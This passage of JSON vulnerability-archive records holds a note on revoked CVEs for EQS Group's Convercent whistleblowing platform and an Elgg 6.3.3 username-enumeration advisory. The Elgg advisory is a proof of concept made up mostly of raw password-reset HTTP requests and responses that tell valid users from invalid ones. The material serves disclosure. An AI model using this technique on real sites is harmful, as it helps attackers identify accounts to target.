          "value": "UPDATE:\n\n\n\n\nFollowing the publication of these vulnerabilities and the subsequent CVE\nassignments, the CVE identifiers have now been revoked.\n\n\n\n\nThe vendor (EQS Group) contacted the CVE Program (via a CNA) and\u00a0disputed the\nrecords, stating that the affected product is an exclusively hosted SaaS\nplatform with no customer-managed deployment or versioning. Based on this\nargument, the CVE Program concluded that CVE assignment is \u201cnot a suitable\nsolution for vulnerability identification\u201d in this case, as customers do not\ntake direct action to apply fixes.\n\n\n\n\nIn other words, because the service is centrally hosted and patched at the\nprovider\u2019s discretion, the vulnerabilities are no longer considered eligible for\nCVE tracking, despite being real, independently discovered, responsibly\ndisclosed, and acknowledged by the vendor.\n\nThe vendor has stated that fixes are being implemented and that private customer\nnotifications will be issued internally.\n\n\n\n\nWhile remediation is of course welcome, this outcome highlights a broader issue:\nvulnerabilities in SaaS platforms can effectively disappear from public\nvulnerability tracking, simply because the deployment model removes user agency,\na model that arguably incentivizes security through obscurity, rather than\ntransparency.\n\n\n\n\nThe technical findings remain valid.\n\n\n\n\nThis update is shared purely for accuracy and record-keeping.\n\nOn Sun, Jan 4, 2026 at 4:40 PM \u003cyuffie.kisaragi () atomicmail io\n[yuffie.kisaragi () atomicmail io]\u003e wrote:\nUPDATE:\n\n\nThe reported vulnerabilities have now been assigned CVE identifiers:\nCVE-2025-34411: https://www.cve.org/cverecord?id=CVE-2025-34411\n[https://www.cve.org/cverecord?id=CVE-2025-34411]\nCVE-2025-34412: https://www.cve.org/cverecord?id=CVE-2025-34412\n[https://www.cve.org/cverecord?id=CVE-2025-34412]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/4"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/4"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.cve.org/cverecord?id=CVE-2025-34411"
        },
        {
          "url": "https://www.cve.org/cverecord?id=CVE-2025-34412"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/4"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Multiple Security Misconfigurations and Customer Enumeration Exposure in Convercent Whistleblowing Platform (EQS Group)",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-34411",
              "type": "related"
            },
            {
              "destId": "CVE-2025-34412",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0195",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/4",
            "automated": true,
            "contentSha256": "f09c92da4c5a7aeb2581a72015cc49071ab139218b207121c182b6d3bc9d070c",
            "evidenceScore": 4,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/4",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-04T22:01:57Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0195"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0195"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Username Enumeration -",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Andrey Stoykov"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "# Exploit Title: Elgg - Username Enumeration\n# Date: 1/2026\n# Exploit Author: Andrey Stoykov\n# Version: 6.3.3\n# Tested on: Ubuntu 22.04\n# Blog:\nhttps://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html\n\n// HTTP Request - Resetting Password - Valid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 71\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=admin\n\n// HTTP Response - Resetting Password - Valid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:14:43 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 318\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"UTF-8\" /\u003e\n        \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027http://elgg.local/\u0027\"; /\u003e\n\n        \u003ctitle\u003eRedirecting to http://elgg.local/\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        Redirecting to \u003ca href=\"http://elgg.local/\";\u003ehttp://elgg.local/\u003c/a\u003e.\n    \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Valid User\n\nGET / HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Valid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:14:46 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 20646\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-success\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eSuccessfully requested a new password, email\nsent\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n\n// HTTP Request - Resetting Password - Invalid User\n\nPOST /action/user/requestnewpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 67\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/forgotpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n__elgg_token=2Cpt0GyVW9swhLkm5PggkQ\u0026__elgg_ts=1769264047\u0026username=x\n\n\n// HTTP Response - Resetting Password - Invalid User\n\nHTTP/1.1 302 Found\nDate: Sat, 24 Jan 2026 14:15:07 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nLocation: http://elgg.local/forgotpassword\nVary: User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 374\n\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n    \u003chead\u003e\n        \u003cmeta charset=\"UTF-8\" /\u003e\n        \u003cmeta http-equiv=\"refresh\" content=\"0;url=\u0027\nhttp://elgg.local/forgotpassword\u0027\"; /\u003e\n\n        \u003ctitle\u003eRedirecting to http://elgg.local/forgotpassword\u003c/title\u003e\n    \u003c/head\u003e\n    \u003cbody\u003e\n        Redirecting to \u003ca href=\"http://elgg.local/forgotpassword\";\u003e\nhttp://elgg.local/forgotpassword\u003c/a\u003e.\n    \u003c/body\u003e\n\u003c/html\u003e\n\n// HTTP Request - Following Redirection - Invalid User\n\nGET /forgotpassword HTTP/1.1\nHost: elgg.local\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0)\nGecko/20100101 Firefox/148.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-GB,en;q=0.9\nAccept-Encoding: gzip, deflate, br\nOrigin: http://elgg.local\nSec-GPC: 1\nConnection: keep-alive\nReferer: http://elgg.local/action/user/requestnewpassword\nCookie: Elgg=3v9mqlh8vai2f9hemfo7iqttt6\nUpgrade-Insecure-Requests: 1\nPriority: u=0, i\n\n// HTTP Response - Following Redirection - Invalid User\n\nHTTP/1.1 200 OK\nDate: Sat, 24 Jan 2026 14:15:09 GMT\nServer: Apache/2.4.52 (Ubuntu)\nCache-Control: must-revalidate, no-cache, no-store, private\nx-frame-options: SAMEORIGIN\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\npragma: no-cache\nx-content-type-options: nosniff\nVary: Accept-Encoding,User-Agent\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\nContent-Length: 19681\n\n[...]\n\u003cdiv class=\"elgg-message elgg-message-error\"\u003e\u003cdiv class=\"elgg-inner\"\u003e\u003cdiv\nclass=\"elgg-body\"\u003eUsername x not found.\u003c/div\u003e\u003c/div\u003e\u003c/div\u003e\n[...]\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/30"
        },
        {
          "url": "http://elgg.local"
        },
        {
          "url": "http://elgg.local/"
        },
        {
          "url": "http://elgg.local/\""
        },
        {
          "url": "http://elgg.local/\u0027\""
        },
        {
          "url": "http://elgg.local/action/user/requestnewpassword"
        },
        {
          "url": "http://elgg.local/forgotpassword"
        },
        {
          "url": "http://elgg.local/forgotpassword\""
        },
        {
          "url": "http://elgg.local/forgotpassword\u0027\""
        },
        {
          "url": "https://msecureltd.blogspot.com/2026/01/friday-fun-pentest-series-47-lack-of.html"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/30"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Username Enumeration - elggv6.3.3",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0194",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/30",
            "automated": true,
            "contentSha256": "117ea4f7bc3e4cf6e724145aae4a21a9e1546f57275af082c1192b9de57223cb",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/30",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-24T18:04:50Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:41Z",
    "dateUpdated": "2026-09-08T07:57:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0194"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}